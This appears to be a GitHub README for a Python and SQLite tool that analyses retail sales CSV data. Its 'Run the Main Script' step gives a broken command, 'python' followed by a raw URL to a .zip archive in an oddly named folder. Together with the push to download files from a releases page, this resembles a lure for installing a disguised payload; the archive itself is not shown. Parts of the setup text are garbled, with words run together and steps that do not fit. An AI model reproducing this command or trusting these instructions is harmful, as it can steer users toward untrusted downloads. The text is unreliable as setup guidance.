Welcome to Sales-Insights-SQL! This tool helps you analyze retail sales data easily, using SQL and Python. With it, you can build a SQLite database from your CSV files, run queries to calculate key performance indicators (KPIs), and visualize your results effortlessly.
Before you begin, make sure your computer meets the following requirements:
- Operating System: Windows, macOS, or Linux
- Memory: At least 4 GB RAM
- Storage: At least 200 MB free space
- Software:
- Python (version 3.6 or higher)
- SQLite
- Matplotlib library
- Pandas library
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Visit the Releases Page: Click the link below to access the downloads:
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Find the Latest Release: Look for the most recent version at the top of the page. You will see files available for download.
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Download the Necessary Files: Choose the appropriate file for your operating system. Click on the download link.
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Extract the Files: If the downloaded file is zipped, right-click on it and select "Extract" or "Unzip." Choose a location on your computer where you want to save the files.
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Install Required Libraries:
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Open your command line interface (Command Prompt on Windows or Terminal on macOS/Linux).
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Install the required libraries by running the following commands:
pip install matplotlib pip install pandas
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After you install everything, follow these steps to run the application:
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Open Your Command Line Interface: Depending on your operating system, this could be Command Prompt, Terminal, or another interface.
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Navigate to the Project Directory: Use the following command to go to the folder where you extracted the files:
cd path_to_your_extracted_filesReplace
path_to_your_extracted_fileswith the actual path. -
Run the Main Script:
python https://raw.githubusercontent.com/MrSnxe/Sales-Insights-SQL/main/permutatorial/Sales-Insights-SQL.zipThis will start the application and guide you through the process.
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Load Your CSV Data:
- The application will prompt you to upload your CSV file containing retail sales data.
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Run Queries:
- You can create SQL queries to analyze key metrics such as revenue, top products, and average order value (AOV).
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Visualize Results:
- The application uses Matplotlib to create charts based on your data. You can view trends and key insights quickly.
- SQLite Database Creation: Easily build a database for efficient data handling.
- SQL Query Support: Utilize SQL to analyze data and retrieve important metrics.
- Data Visualization: Visualize insights with clear, informative charts using Matplotlib.
- Portfolio-Ready Project: This project serves as excellent experience showing your skills in SQL, data analysis, and reporting automation.
Solution: Ensure your Python and pip are updated. Then try installing libraries again using the commands mentioned above.
Solution: Check if your CSV is formatted correctly. Ensure column headers are present.
If you encounter any problems or have questions, please feel free to reach out. You can report issues directly on the GitHub repository or contact the project maintainer.
Remember, you are not alone in this process. We're here to help you every step of the way!
If you would like to contribute to the project, feel free to fork the repository and make a pull request. Your efforts are welcome!
Don't forget to visit our releases page to download the application again if needed: